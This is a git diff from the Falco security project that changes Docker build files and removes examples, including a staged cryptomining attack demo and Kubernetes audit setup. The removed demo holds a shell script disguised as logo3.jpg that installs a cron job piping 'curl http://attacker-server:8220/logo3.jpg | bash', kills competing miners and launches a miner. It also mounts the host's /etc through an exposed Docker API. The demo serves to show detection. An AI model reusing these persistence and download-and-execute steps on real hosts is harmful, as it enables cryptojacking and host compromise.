-    app.kubernetes.io/part-of: falco-event-generator
-    falco.rules: K8s-Service-Created
-    message: Creating-service
-spec:
-  type: ClusterIP
-  ports:
-    - port: 80
-  selector:
-    app: busybox

docker/falco/docker-entrypoint.sh

@@ -16,7 +16,6 @@
 # limitations under the License.
 #
 
-# set -e
 
 # Set the SKIP_MODULE_LOAD variable to skip loading the kernel module
 

docker/local/docker-entrypoint.sh

@@ -16,7 +16,6 @@
 # limitations under the License.
 #
 
-# set -e
 
 # Set the SKIP_MODULE_LOAD variable to skip loading the kernel module
 

docker/no-driver/Dockerfile

@@ -21,6 +21,9 @@ RUN apt-get update -y && \
     apt-get clean && \
     rm -rf /var/lib/apt/lists/*
 
+RUN sed -e 's/time_format_iso_8601: false/time_format_iso_8601: true/' < /falco/etc/falco/falco.yaml > /falco/etc/falco/falco.yaml.new \
+    && mv /falco/etc/falco/falco.yaml.new /falco/etc/falco/falco.yaml
+
 FROM scratch
 
 COPY --from=ubuntu /lib/x86_64-linux-gnu/libanl.so.1 \
@@ -55,4 +58,4 @@ COPY --from=ubuntu /lib64/ld-linux-x86-64.so.2 /lib64/ld-linux-x86-64.so.2
 
 COPY --from=ubuntu /falco /
 
-CMD ["/usr/bin/falco", "-o", "time_format_iso_8601=true"]
+CMD ["/usr/bin/falco", "-o", "time_format_iso_8601=true"]

docker/slim/Dockerfile

@@ -1,48 +0,0 @@
-FROM ubuntu:18.04
-
-LABEL maintainer="cncf-falco-dev@lists.cncf.io"
-
-LABEL RUN="docker run -i -t -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro --name <name> <image>"
-
-ARG FALCO_VERSION=latest
-ARG VERSION_BUCKET=deb
-
-ENV FALCO_VERSION=${FALCO_VERSION}
-ENV VERSION_BUCKET=${VERSION_BUCKET}
-
-ENV HOST_ROOT /host
-ENV HOME /root
-
-RUN cp /etc/skel/.bashrc /root && cp /etc/skel/.profile /root
-
-RUN apt-get update \
-  && apt-get install -y --no-install-recommends \
-  # bash-completion \
-  # bc \
-  ca-certificates \
-  curl \
-  gnupg2 \
-  jq \
-  # netcat \
-  # xz-utils \
-  && rm -rf /var/lib/apt/lists/*
-
-RUN curl -s https://falco.org/repo/falcosecurity-3672BA8F.asc | apt-key add - \
-  && echo "deb https://dl.bintray.com/falcosecurity/${VERSION_BUCKET} stable main" | tee -a /etc/apt/sources.list.d/falcosecurity.list \
-  && apt-get update -y \
-  && if [ "$FALCO_VERSION" = "latest" ]; then apt-get install -y --no-install-recommends falco; else apt-get install -y --no-install-recommends falco=${FALCO_VERSION}; fi \
-  && apt-get clean \
-  && rm -rf /var/lib/apt/lists/*
-
-# Change the falco config within the container to enable ISO 8601
-# output.
-RUN sed -e 's/time_format_iso_8601: false/time_format_iso_8601: true/' < /etc/falco/falco.yaml > /etc/falco/falco.yaml.new \
-  && mv /etc/falco/falco.yaml.new /etc/falco/falco.yaml
-
-# Some base images have an empty /lib/modules by default
-# If it's not empty, docker build will fail instead of
-# silently overwriting the existing directory
-RUN rm -df /lib/modules \
-  && ln -s $HOST_ROOT/lib/modules /lib/modules
-
-CMD ["/usr/bin/falco", "-o", "time_format_iso_8601=true"]

docker/tester/root/runners/tar.gz.Dockerfile

@@ -0,0 +1,21 @@
+FROM ubuntu:18.04
+LABEL maintainer="cncf-falco-dev@lists.cncf.io"
+
+ARG FALCO_VERSION=
+RUN test -n FALCO_VERSION
+ENV FALCO_VERSION ${FALCO_VERSION}
+
+RUN apt update -y
+RUN apt install dkms libyaml-0-2 curl -y
+
+ADD falco-${FALCO_VERSION}-x86_64.tar.gz /
+RUN cp -R /falco-${FALCO_VERSION}-x86_64/* /
+
+# Change the falco config within the container to enable ISO 8601 output.
+RUN sed -e 's/time_format_iso_8601: false/time_format_iso_8601: true/' < /etc/falco/falco.yaml > /etc/falco/falco.yaml.new \
+    && mv /etc/falco/falco.yaml.new /etc/falco/falco.yaml
+
+COPY rules/*.yaml /rules/
+COPY trace_files/*.scap /traces/
+
+CMD ["/usr/bin/falco"]

docker/tester/root/usr/bin/entrypoint

@@ -58,6 +58,7 @@ case "$CMD" in
     # build docker images
     build_image "$BUILD_DIR" "$BUILD_TYPE" "$FALCO_VERSION" "deb"
     build_image "$BUILD_DIR" "$BUILD_TYPE" "$FALCO_VERSION" "rpm"
+    build_image "$BUILD_DIR" "$BUILD_TYPE" "$FALCO_VERSION" "tar.gz"
 
     # check that source directory contains Falco
     if [ ! -d "$SOURCE_DIR/falco/test" ]; then
@@ -73,6 +74,7 @@ case "$CMD" in
     # clean docker images
     clean_image "deb"
     clean_image "rpm"
+    clean_image "tar.gz"
     ;;
 "bash")
     CMD=/bin/bash

docker/tester/root/usr/bin/usage

@@ -30,7 +30,7 @@ How to use.
 
 How to build.
 
-    * cd docker/builder && DOCKER_BUILDKIT=1 docker build -t falcosecurity/falco-tester .
+    * cd docker/tester && DOCKER_BUILDKIT=1 docker build -t falcosecurity/falco-tester .
 
 Environment.
 

examples/OWNERS

@@ -1,2 +0,0 @@
-labels:
-  - area/examples

examples/bad-mount-cryptomining/README.md

@@ -1,117 +0,0 @@
-# Demo of Falco Detecting Cryptomining Exploit
-
-## Introduction
-
-Based on a [blog post](https://sysdig.com/blog/detecting-cryptojacking/) we wrote, this example shows how an overly permissive container environment can be exploited to install cryptomining software and how use of the exploit can be detected using Falco.
-
-Although the exploit in the blog post involved modifying the cron configuration on the host filesystem, in this example we keep the host filesystem untouched. Instead, we have a container play the role of the "host", and set up everything using [docker-compose](https://docs.docker.com/compose/) and [docker-in-docker](https://hub.docker.com/_/docker/).
-
-## Requirements
-
-In order to run this example, you need Docker Engine >= 1.13.0 and docker-compose >= 1.10.0, as well as curl.
-
-## Example architecture
-
-The example consists of the following:
-
-* `host-machine`: A docker-in-docker instance that plays the role of the host machine. It runs a cron daemon and an independent copy of the docker daemon that listens on port 2375. This port is exposed to the world, and this port is what the attacker will use to install new software on the host.
-* `attacker-server`: A nginx instance that serves the malicious files and scripts using by the attacker.
-* `falco`: A Falco instance to detect the suspicious activity. It connects to the docker daemon on `host-machine` to fetch container information.
-
-All of the above are configured in the docker-compose file [demo.yml](./demo.yml).
-
-A separate container is created to launch the attack:
-
-* `docker123321-mysql` An [alpine](https://hub.docker.com/_/alpine/) container that mounts /etc from `host-machine` into /mnt/etc within the container. The json container description is in the file [docker123321-mysql-container.json](./docker123321-mysql-container.json).
-
-## Example Walkthrough
-
-### Start everything using docker-compose
-
-To make sure you're starting from scratch, first run `docker-compose -f demo.yml down -v` to remove any existing containers, volumes, etc.
-
-Then run `docker-compose -f demo.yml up --build` to create the `host-machine`, `attacker-server`, and `falco` containers.
-
-You will see fairly verbose output from dockerd:
-
-```
-host-machine_1     | crond: crond (busybox 1.27.2) started, log level 6
-host-machine_1     | time="2018-03-15T15:59:51Z" level=info msg="starting containerd" module=containerd revision=9b55aab90508bd389d7654c4baf173a981477d55 version=v1.0.1
-host-machine_1     | time="2018-03-15T15:59:51Z" level=info msg="loading plugin "io.containerd.content.v1.content"..." module=containerd type=io.containerd.content.v1
-host-machine_1     | time="2018-03-15T15:59:51Z" level=info msg="loading plugin "io.containerd.snapshotter.v1.btrfs"..." module=containerd type=io.containerd.snapshotter.v1
-```
-
-When you see log output like the following, you know that falco is started and ready:
-
-```
-falco_1            | Wed Mar 14 22:37:12 2018: Falco initialized with configuration file /etc/falco/falco.yaml
-falco_1            | Wed Mar 14 22:37:12 2018: Parsed rules from file /etc/falco/falco_rules.yaml
-falco_1            | Wed Mar 14 22:37:12 2018: Parsed rules from file /etc/falco/falco_rules.local.yaml
-```
-
-### Launch malicious container
-
-To launch the malicious container, we will connect to the docker instance running in `host-machine`, which has exposed port 2375 to the world. We create and start a container via direct use of the docker API (although you can do the same via `docker run -H http://localhost:2375 ...`.
-
-The script `launch_malicious_container.sh` performs the necessary POSTs:
-
-* `http://localhost:2375/images/create?fromImage=alpine&tag=latest`
-* `http://localhost:2375/containers/create?&name=docker123321-mysql`
-* `http://localhost:2375/containers/docker123321-mysql/start`
-
-Run the script via `bash launch_malicious_container.sh`.
-
-### Examine cron output as malicious software is installed & run
-
-`docker123321-mysql` writes the following line to `/mnt/etc/crontabs/root`, which corresponds to `/etc/crontabs/root` on the host:
-
-```
-* * * * * curl -s http://attacker-server:8220/logo3.jpg | bash -s
-```
-
-It also touches the file `/mnt/etc/crontabs/cron.update`, which corresponds to `/etc/crontabs/cron/update` on the host, to force cron to re-read its cron configuration. This ensures that every minute, cron will download the script (disguised as [logo3.jpg](attacker_files/logo3.jpg))  from `attacker-server` and run it.
-
-You can see `docker123321-mysql` running by checking the container list for the docker instance running in `host-machine` via `docker -H localhost:2375 ps`. You should see output like the following:
-
-```
-CONTAINER ID        IMAGE               COMMAND                  CREATED              STATUS              PORTS               NAMES
-68ed578bd034        alpine:latest       "/bin/sh -c 'echo '*…"   About a minute ago   Up About a minute                       docker123321-mysql
-```
-
-Once the cron job runs, you will see output like the following:
-
-```
-host-machine_1     | crond: USER root pid 187 cmd curl -s http://attacker-server:8220/logo3.jpg | bash -s
-host-machine_1     | ***Checking for existing Miner program
-attacker-server_1  | 172.22.0.4 - - [14/Mar/2018:22:38:00 +0000] "GET /logo3.jpg HTTP/1.1" 200 1963 "-" "curl/7.58.0" "-"
-host-machine_1     | ***Killing competing Miner programs
-host-machine_1     | ***Reinstalling cron job to run Miner program
-host-machine_1     | ***Configuring Miner program
-attacker-server_1  | 172.22.0.4 - - [14/Mar/2018:22:38:00 +0000] "GET /config_1.json HTTP/1.1" 200 50 "-" "curl/7.58.0" "-"
-attacker-server_1  | 172.22.0.4 - - [14/Mar/2018:22:38:00 +0000] "GET /minerd HTTP/1.1" 200 87 "-" "curl/7.58.0" "-"
-host-machine_1     | ***Configuring system for Miner program
-host-machine_1     | vm.nr_hugepages = 9
-host-machine_1     | ***Running Miner program
-host-machine_1     | ***Ensuring Miner program is alive
-host-machine_1     |   238 root       0:00 {jaav} /bin/bash ./jaav -c config.json -t 3
-host-machine_1     | /var/tmp
-host-machine_1     | runing.....
-host-machine_1     | ***Ensuring Miner program is alive
-host-machine_1     |   238 root       0:00 {jaav} /bin/bash ./jaav -c config.json -t 3
-host-machine_1     | /var/tmp
-host-machine_1     | runing.....
-```
-
-### Observe Falco detecting malicious activity
-
-To observe Falco detecting the malicious activity, you can look for `falco_1` lines in the output. Falco will detect the container launch with the sensitive mount:
-
-```
-falco_1            | 22:37:24.478583438: Informational Container with sensitive mount started (user=root command=runc:[1:CHILD] init docker123321-mysql (id=97587afcf89c) image=alpine:latest mounts=/etc:/mnt/etc::true:rprivate)
-falco_1            | 22:37:24.479565025: Informational Container with sensitive mount started (user=root command=sh -c echo '* * * * * curl -s http://attacker-server:8220/logo3.jpg | bash -s' >> /mnt/etc/crontabs/root && sleep 300 docker123321-mysql (id=97587afcf89c) image=alpine:latest mounts=/etc:/mnt/etc::true:rprivate)
-```
-
-### Cleanup
-
-To tear down the environment, stop the script using ctrl-C and remove everything using `docker-compose -f demo.yml down -v`.
-

examples/bad-mount-cryptomining/attacker-nginx.conf

@@ -1,14 +0,0 @@
-server {
-    listen       8220;
-    server_name  localhost;
-
-    location / {
-        root   /usr/share/nginx/html;
-        index  index.html index.htm;
-    }
-
-    error_page   500 502 503 504  /50x.html;
-    location = /50x.html {
-        root   /usr/share/nginx/html;
-    }
-}

examples/bad-mount-cryptomining/attacker_files/config_1.json

@@ -1 +0,0 @@
-{"config": "some-bitcoin-miner-config-goes-here"}

examples/bad-mount-cryptomining/attacker_files/logo3.jpg

@@ -1,64 +0,0 @@
-#!/bin/sh
-echo "***Checking for existing Miner program"
-ps -fe|grep jaav |grep -v grep
-if [ $? -eq 0 ]
-then
-pwd
-else
-
-echo "***Killing competing Miner programs"
-rm -rf /var/tmp/ysjswirmrm.conf
-rm -rf /var/tmp/sshd
-ps auxf|grep -v grep|grep -v ovpvwbvtat|grep "/tmp/"|awk '{print $2}'|xargs -r kill -9
-ps auxf|grep -v grep|grep "\./"|grep 'httpd.conf'|awk '{print $2}'|xargs -r kill -9
-ps auxf|grep -v grep|grep "\-p x"|awk '{print $2}'|xargs -r kill -9
-ps auxf|grep -v grep|grep "stratum"|awk '{print $2}'|xargs -r kill -9
-ps auxf|grep -v grep|grep "cryptonight"|awk '{print $2}'|xargs -r kill -9
-ps auxf|grep -v grep|grep "ysjswirmrm"|awk '{print $2}'|xargs -r kill -9
-
-echo "***Reinstalling cron job to run Miner program"
-crontab -r || true && \
-echo "* * * * * curl -s http://attacker-server:8220/logo3.jpg | bash -s" >> /tmp/cron || true && \
-crontab /tmp/cron || true && \
-rm -rf /tmp/cron || true
-
-echo "***Configuring Miner program"
-curl -so /var/tmp/config.json http://attacker-server:8220/config_1.json
-curl -so /var/tmp/jaav http://attacker-server:8220/minerd
-chmod 777 /var/tmp/jaav
-cd /var/tmp
-
-echo "***Configuring system for Miner program"
-cd /var/tmp
-proc=`grep -c ^processor /proc/cpuinfo`
-cores=$(($proc+1))
-num=$(($cores*3))
-/sbin/sysctl -w vm.nr_hugepages=$num
-
-echo "***Running Miner program"
-nohup ./jaav -c config.json -t `echo $cores` >/dev/null &
-fi
-
-echo "***Ensuring Miner program is alive"
-ps -fe|grep jaav |grep -v grep
-if [ $? -eq 0 ]
-then
-pwd
-else
-
-echo "***Reconfiguring Miner program"
-curl -so /var/tmp/config.json http://attacker-server:8220/config_1.json
-curl -so /var/tmp/jaav http://attacker-server:8220/minerd
-chmod 777 /var/tmp/jaav
-cd /var/tmp
-
-echo "***Reconfiguring system for Miner program"
-proc=`grep -c ^processor /proc/cpuinfo`
-cores=$(($proc+1))
-num=$(($cores*3))
-/sbin/sysctl -w vm.nr_hugepages=$num
-
-echo "***Restarting Miner program"
-nohup ./jaav -c config.json -t `echo $cores` >/dev/null &
-fi
-echo "runing....."

examples/bad-mount-cryptomining/attacker_files/minerd

@@ -1,7 +0,0 @@
-#!/bin/bash
-
-while true; do
-      echo "Mining bitcoins..."
-      sleep 60
-done
-

examples/bad-mount-cryptomining/demo.yml

@@ -1,41 +0,0 @@
-version: '3'
-
-volumes:
-  host-filesystem:
-  docker-socket:
-
-services:
-  host-machine:
-    privileged: true
-    build:
-      context: ${PWD}/host-machine
-      dockerfile: ${PWD}/host-machine/Dockerfile
-    volumes:
-      - host-filesystem:/etc
-      - docker-socket:/var/run
-    ports:
-      - "2375:2375"
-    depends_on:
-      - "falco"
-
-  attacker-server:
-    image: nginx:latest
-    ports:
-      - "8220:8220"
-    volumes:
-      - ${PWD}/attacker_files:/usr/share/nginx/html
-      - ${PWD}/attacker-nginx.conf:/etc/nginx/conf.d/default.conf
-    depends_on:
-      - "falco"
-
-  falco:
-    image: falcosecurity/falco:latest
-    privileged: true
-    volumes:
-      - docker-socket:/host/var/run
-      - /dev:/host/dev
-      - /proc:/host/proc:ro
-      - /boot:/host/boot:ro
-      - /lib/modules:/host/lib/modules:ro
-      - /usr:/host/usr:ro
-    tty: true

examples/bad-mount-cryptomining/docker123321-mysql-container.json

@@ -1,7 +0,0 @@
-{
-    "Cmd": ["/bin/sh", "-c", "echo '* * * * * curl -s http://attacker-server:8220/logo3.jpg | bash -s' >> /mnt/etc/crontabs/root && touch /mnt/etc/crontabs/cron.update && sleep 300"],
-    "Image": "alpine:latest",
-    "HostConfig": {
-	"Binds": ["/etc:/mnt/etc"]
-    }
-}

examples/bad-mount-cryptomining/host-machine/Dockerfile

@@ -1,12 +0,0 @@
-FROM docker:stable-dind
-
-RUN set -ex \
-    && apk add --no-cache \
-    bash curl
-
-COPY start-cron-and-dind.sh /usr/local/bin
-
-ENTRYPOINT ["start-cron-and-dind.sh"]
-CMD []
-
-

examples/bad-mount-cryptomining/host-machine/start-cron-and-dind.sh

@@ -1,11 +0,0 @@
-#!/bin/sh
-
-# Start docker-in-docker, but backgrounded with its output still going
-# to stdout/stderr.
-dockerd-entrypoint.sh &
-
-# Start cron in the foreground with a moderate level of debugging to
-# see job output.
-crond -f -d 6
-
-

examples/bad-mount-cryptomining/launch_malicious_container.sh

@@ -1,14 +0,0 @@
-#!/bin/sh
-
-echo "Pulling alpine:latest image to docker-in-docker instance"
-curl -X POST 'http://localhost:2375/images/create?fromImage=alpine&tag=latest'
-
-echo "Creating container mounting /etc from host-machine"
-curl -H 'Content-Type: application/json' -d @docker123321-mysql-container.json -X POST 'http://localhost:2375/containers/create?&name=docker123321-mysql'
-
-echo "Running container mounting /etc from host-machine"
-curl -H 'Content-Type: application/json' -X POST 'http://localhost:2375/containers/docker123321-mysql/start'
-
-
-
-

examples/k8s_audit_config/README.md

@@ -1,136 +0,0 @@
-This page describes how to get [Kubernetes Auditing](https://kubernetes.io/docs/tasks/debug-application-cluster/audit) working with Falco.
-Either using static audit backends in Kubernetes 1.11, or in Kubernetes 1.13 with dynamic sink which configures webhook backends through an AuditSink API object.
-
-<!-- toc -->
-
-- [Instructions for Kubernetes 1.11](#instructions-for-kubernetes-111)
-  * [Deploy Falco to your Kubernetes cluster](#deploy-falco-to-your-kubernetes-cluster)
-  * [Define your audit policy and webhook configuration](#define-your-audit-policy-and-webhook-configuration)
-  * [Restart the API Server to enable Audit Logging](#restart-the-api-server-to-enable-audit-logging)
-  * [Observe Kubernetes audit events at falco](#observe-kubernetes-audit-events-at-falco)
-- [Instructions for Kubernetes 1.13](#instructions-for-kubernetes-113)
-  * [Deploy Falco to your Kubernetes cluster](#deploy-falco-to-your-kubernetes-cluster-1)
-  * [Restart the API Server to enable Audit Logging](#restart-the-api-server-to-enable-audit-logging-1)
-  * [Deploy AuditSink objects](#deploy-auditsink-objects)
-  * [Observe Kubernetes audit events at falco](#observe-kubernetes-audit-events-at-falco-1)
-- [Instructions for Kubernetes 1.13 with dynamic webhook and local log file](#instructions-for-kubernetes-113-with-dynamic-webhook-and-local-log-file)
-
-<!-- tocstop -->
-
-## Instructions for Kubernetes 1.11
-
-The main steps are:
-
-1. Deploy Falco to your Kubernetes cluster
-1. Define your audit policy and webhook configuration
-1. Restart the API Server to enable Audit Logging
-1. Observe Kubernetes audit events at falco
-
-### Deploy Falco to your Kubernetes cluster
-
-Follow the [Kubernetes Using Daemonset](../../integrations/k8s-using-daemonset/README.md) instructions to create a falco service account, service, configmap, and daemonset.
-
-### Define your audit policy and webhook configuration
-
-The files in this directory can be used to configure Kubernetes audit logging. The relevant files are:
-
-* [audit-policy.yaml](./audit-policy.yaml): The Kubernetes audit log configuration we used to create the rules in [k8s_audit_rules.yaml](../../rules/k8s_audit_rules.yaml).
-* [webhook-config.yaml.in](./webhook-config.yaml.in): A (templated) webhook configuration that sends audit events to an ip associated with the falco service, port 8765. It is templated in that the *actual* IP is defined in an environment variable `FALCO_SERVICE_CLUSTERIP`, which can be plugged in using a program like `envsubst`.
-
-Run the following to fill in the template file with the `ClusterIP` IP address you created with the `falco-service` service above. Although services like `falco-service.default.svc.cluster.local` can not be resolved from the kube-apiserver container within the minikube vm (they're run as pods but not *really* a part of the cluster), the `ClusterIP`s associated with those services are routable.
-
-```
-FALCO_SERVICE_CLUSTERIP=$(kubectl get service falco-service -o=jsonpath={.spec.clusterIP}) envsubst < webhook-config.yaml.in > webhook-config.yaml
-```
-
-### Restart the API Server to enable Audit Logging
-
-A script [enable-k8s-audit.sh](./enable-k8s-audit.sh) performs the necessary steps of enabling audit log support for the apiserver, including copying the audit policy/webhook files to the apiserver machine, modifying the apiserver command line to add `--audit-log-path`, `--audit-policy-file`, etc. arguments, etc. (For minikube, ideally you'd be able to pass all these options directly on the `minikube start` command line, but manual patching is necessary. See [this issue](https://github.com/kubernetes/minikube/issues/2741) for more details.)
-
-It is run as `bash ./enable-k8s-audit.sh <variant> static`. `<variant>` can be one of the following:
-
-* `minikube`
-* `kops`
-
-When running with `variant` equal to `kops`, you must either modify the script to specify the kops apiserver hostname or set it via the environment: `APISERVER_HOST=api.my-kops-cluster.com bash ./enable-k8s-audit.sh kops`
-
-Its output looks like this:
-
-```
-$ bash enable-k8s-audit.sh minikube static
-***Copying apiserver config patch script to apiserver...
-apiserver-config.patch.sh                                                                   100% 1190     1.2MB/s   00:00
-***Copying audit policy/webhook files to apiserver...
-audit-policy.yaml                                                                           100% 2519     1.2MB/s   00:00
-webhook-config.yaml                                                                         100%  248   362.0KB/s   00:00
-***Modifying k8s apiserver config (will result in apiserver restarting)...
-***Done!
-$
-```
-### Observe Kubernetes audit events at falco
-
-Kubernetes audit events will then be routed to the falco daemonset within the cluster, which you can observe via `kubectl logs -f $(kubectl get pods -l app=falco-example -o jsonpath={.items[0].metadata.name})`.
-
-## Instructions for Kubernetes 1.13
-
-The main steps are:
-
-1. Deploy Falco to your Kubernetes cluster
-2. Restart the API Server to enable Audit Logging
-3. Deploy the AuditSink object for your audit policy and webhook configuration
-4. Observe Kubernetes audit events at falco
-
-### Deploy Falco to your Kubernetes cluster
-
-Follow the [Kubernetes Using Daemonset](../../integrations/k8s-using-daemonset/README.md) instructions to create a Falco service account, service, configmap, and daemonset.
-
-### Restart the API Server to enable Audit Logging
-
-A script [enable-k8s-audit.sh](./enable-k8s-audit.sh) performs the necessary steps of enabling dynamic audit support for the apiserver by modifying the apiserver command line to add `--audit-dynamic-configuration`, `--feature-gates=DynamicAuditing=true`, etc. arguments, etc. (For minikube, ideally you'd be able to pass all these options directly on the `minikube start` command line, but manual patching is necessary. See [this issue](https://github.com/kubernetes/minikube/issues/2741) for more details.)
-
-It is run as `bash ./enable-k8s-audit.sh <variant> dynamic`. `<variant>` can be one of the following:
-
-* `minikube`
-* `kops`
-
-When running with `variant` equal to `kops`, you must either modify the script to specify the kops apiserver hostname or set it via the environment: `APISERVER_HOST=api.my-kops-cluster.com bash ./enable-k8s-audit.sh kops`
-
-Its output looks like this:
-
-```
-$ bash enable-k8s-audit.sh minikube dynamic
-***Copying apiserver config patch script to apiserver...
-apiserver-config.patch.sh                                                                   100% 1190     1.2MB/s   00:00
-***Modifying k8s apiserver config (will result in apiserver restarting)...
-***Done!
-$
-```
-
-### Deploy AuditSink objects
-
-[audit-sink.yaml.in](./audit-sink.yaml.in), in this directory, is a template audit sink configuration that defines the dynamic audit policy and webhook to route Kubernetes audit events to Falco.
-
-Run the following to fill in the template file with the `ClusterIP` IP address you created with the `falco-service` service above. Although services like `falco-service.default.svc.cluster.local` can not be resolved from the kube-apiserver container within the minikube vm (they're run as pods but not *really* a part of the cluster), the ClusterIPs associated with those services are routable.
-
-```
-FALCO_SERVICE_CLUSTERIP=$(kubectl get service falco-service -o=jsonpath={.spec.clusterIP}) envsubst < audit-sink.yaml.in > audit-sink.yaml
-```
-
-### Observe Kubernetes audit events at falco
-
-Kubernetes audit events will then be routed to the falco daemonset within the cluster, which you can observe via `kubectl logs -f $(kubectl get pods -l app=falco-example -o jsonpath={.items[0].metadata.name})`.
-
-## Instructions for Kubernetes 1.13 with dynamic webhook and local log file
-
-If you want to use a mix of `AuditSink` for remote audit events as well as a local audit log file, you can run `enable-k8s-audit.sh` with the `"dynamic+log"` argument e.g. `bash ./enable-k8s-audit.sh <variant> dynamic+log`. This will enable dynamic audit logs as well as a static audit log to a local file. Its output looks like this:
-
-```
-***Copying apiserver config patch script to apiserver...
-apiserver-config.patch.sh                                                                          100% 2211   662.9KB/s   00:00
-***Copying audit policy file to apiserver...
-audit-policy.yaml                                                                                  100% 2519   847.7KB/s   00:00
-***Modifying k8s apiserver config (will result in apiserver restarting)...
-***Done!
-```
-
-The audit log will be available on the apiserver host at `/var/lib/k8s_audit/audit.log`.

examples/k8s_audit_config/apiserver-config.patch.sh

@@ -1,72 +0,0 @@
-#!/usr/bin/env bash
-
-set -euo pipefail
-
-IFS=''
-
-FILENAME=${1:-/etc/kubernetes/manifests/kube-apiserver.yaml}
-VARIANT=${2:-minikube}
-AUDIT_TYPE=${3:-static}
-
-if [ "$AUDIT_TYPE" == "static" ]; then
-    if grep audit-webhook-config-file "$FILENAME" ; then
-	echo audit-webhook patch already applied
-	exit 0
-    fi
-else
-    if grep audit-dynamic-configuration "$FILENAME" ; then
-	echo audit-dynamic-configuration patch already applied
-	exit 0
-    fi
-fi
-
-TMPFILE="/tmp/kube-apiserver.yaml.patched"
-rm -f "$TMPFILE"
-
-APISERVER_PREFIX="    -"
-APISERVER_LINE="- kube-apiserver"
-
-if [ "$VARIANT" == "kops" ]; then
-    APISERVER_PREFIX="     "
-    APISERVER_LINE="/usr/local/bin/kube-apiserver"
-fi
-
-while read -r LINE
-do
-    echo "$LINE" >> "$TMPFILE"
-    case "$LINE" in
-        *$APISERVER_LINE*)
-	    if [[ ($AUDIT_TYPE == "static" || $AUDIT_TYPE == "dynamic+log") ]]; then
-		echo "$APISERVER_PREFIX --audit-log-path=/var/lib/k8s_audit/audit.log" >> "$TMPFILE"
-		echo "$APISERVER_PREFIX --audit-policy-file=/var/lib/k8s_audit/audit-policy.yaml" >> "$TMPFILE"
-		if [[ $AUDIT_TYPE == "static" ]]; then
-		    echo "$APISERVER_PREFIX --audit-webhook-config-file=/var/lib/k8s_audit/webhook-config.yaml" >> "$TMPFILE"
-		    echo "$APISERVER_PREFIX --audit-webhook-batch-max-wait=5s" >> "$TMPFILE"
-		fi
-	    fi
-	    if [[ ($AUDIT_TYPE == "dynamic" || $AUDIT_TYPE == "dynamic+log") ]]; then
-		echo "$APISERVER_PREFIX --audit-dynamic-configuration" >> "$TMPFILE"
-		echo "$APISERVER_PREFIX --feature-gates=DynamicAuditing=true" >> "$TMPFILE"
-		echo "$APISERVER_PREFIX --runtime-config=auditregistration.k8s.io/v1alpha1=true" >> "$TMPFILE"
-	    fi
-            ;;
-        *"volumeMounts:"*)
-	    if [[ ($AUDIT_TYPE == "static" || $AUDIT_TYPE == "dynamic+log") ]]; then
-		echo "    - mountPath: /var/lib/k8s_audit/" >> "$TMPFILE"
-		echo "      name: data" >> "$TMPFILE"
-	    fi
-            ;;
-        *"volumes:"*)
-	    if [[ ($AUDIT_TYPE == "static" || $AUDIT_TYPE == "dynamic+log") ]]; then
-		echo "  - hostPath:" >> "$TMPFILE"
-		echo "      path: /var/lib/k8s_audit" >> "$TMPFILE"
-		echo "    name: data" >> "$TMPFILE"
-	    fi
-            ;;
-
-    esac
-done < "$FILENAME"
-
-cp "$FILENAME" "/tmp/kube-apiserver.yaml.original"
-cp "$TMPFILE" "$FILENAME"
-

examples/k8s_audit_config/audit-policy.yaml

@@ -1,76 +0,0 @@
-apiVersion: audit.k8s.io/v1beta1 # This is required.
-kind: Policy
-# Don't generate audit events for all requests in RequestReceived stage.
-omitStages:
-  - "RequestReceived"
-rules:
-  # Log pod changes at RequestResponse level
-  - level: RequestResponse
-    resources:
-    - group: ""
-      # Resource "pods" doesn't match requests to any subresource of pods,
-      # which is consistent with the RBAC policy.
-      resources: ["pods", "deployments"]
-
-  - level: RequestResponse
-    resources:
-    - group: "rbac.authorization.k8s.io"
-      # Resource "pods" doesn't match requests to any subresource of pods,
-      # which is consistent with the RBAC policy.
-      resources: ["clusterroles", "clusterrolebindings"]
-
-  # Log "pods/log", "pods/status" at Metadata level
-  - level: Metadata
-    resources:
-    - group: ""
-      resources: ["pods/log", "pods/status"]
-
-  # Don't log requests to a configmap called "controller-leader"
-  - level: None
-    resources:
-    - group: ""
-      resources: ["configmaps"]
-      resourceNames: ["controller-leader"]
-
-  # Don't log watch requests by the "system:kube-proxy" on endpoints or services
-  - level: None
-    users: ["system:kube-proxy"]
-    verbs: ["watch"]
-    resources:
-    - group: "" # core API group
-      resources: ["endpoints", "services"]
-
-  # Don't log authenticated requests to certain non-resource URL paths.
-  - level: None
-    userGroups: ["system:authenticated"]
-    nonResourceURLs:
-    - "/api*" # Wildcard matching.
-    - "/version"
-
-  # Log the request body of configmap changes in kube-system.
-  - level: Request
-    resources:
-    - group: "" # core API group
-      resources: ["configmaps"]
-    # This rule only applies to resources in the "kube-system" namespace.
-    # The empty string "" can be used to select non-namespaced resources.
-    namespaces: ["kube-system"]
-
-  # Log configmap and secret changes in all other namespaces at the RequestResponse level.
-  - level: RequestResponse
-    resources:
-    - group: "" # core API group
-      resources: ["secrets", "configmaps"]
-
-  # Log all other resources in core and extensions at the Request level.
-  - level: Request
-    resources:
-    - group: "" # core API group
-    - group: "extensions" # Version of group should NOT be included.
-
-  # A catch-all rule to log all other requests at the Metadata level.
-  - level: Metadata
-    # Long-running requests like watches that fall under this rule will not
-    # generate an audit event in RequestReceived.
-    omitStages:
-      - "RequestReceived"

examples/k8s_audit_config/audit-sink.yaml.in

@@ -1,16 +0,0 @@
-apiVersion: auditregistration.k8s.io/v1alpha1
-kind: AuditSink
-metadata:
-  name: falco-audit-sink
-spec:
-  policy:
-    level: RequestResponse
-    stages:
-      - ResponseComplete
-      - ResponseStarted
-  webhook:
-    throttle:
-      qps: 10
-      burst: 15
-    clientConfig:
-      url: "http://$FALCO_SERVICE_CLUSTERIP:8765/k8s_audit"

examples/k8s_audit_config/enable-k8s-audit.sh

@@ -1,46 +0,0 @@
-#!/usr/bin/env bash
-
-set -euo pipefail
-
-VARIANT=${1:-minikube}
-AUDIT_TYPE=${2:-static}
-
-if [ "$VARIANT" == "minikube" ]; then
-    APISERVER_HOST=$(minikube ip)
-    SSH_KEY=$(minikube ssh-key)
-    SSH_USER="docker"
-    MANIFEST="/etc/kubernetes/manifests/kube-apiserver.yaml"
-fi
-
-if [ "$VARIANT" == "kops" ]; then
-    # APISERVER_HOST=api.your-kops-cluster-name.com
-    SSH_KEY=~/.ssh/id_rsa
-    SSH_USER="admin"
-    MANIFEST=/etc/kubernetes/manifests/kube-apiserver.manifest
-
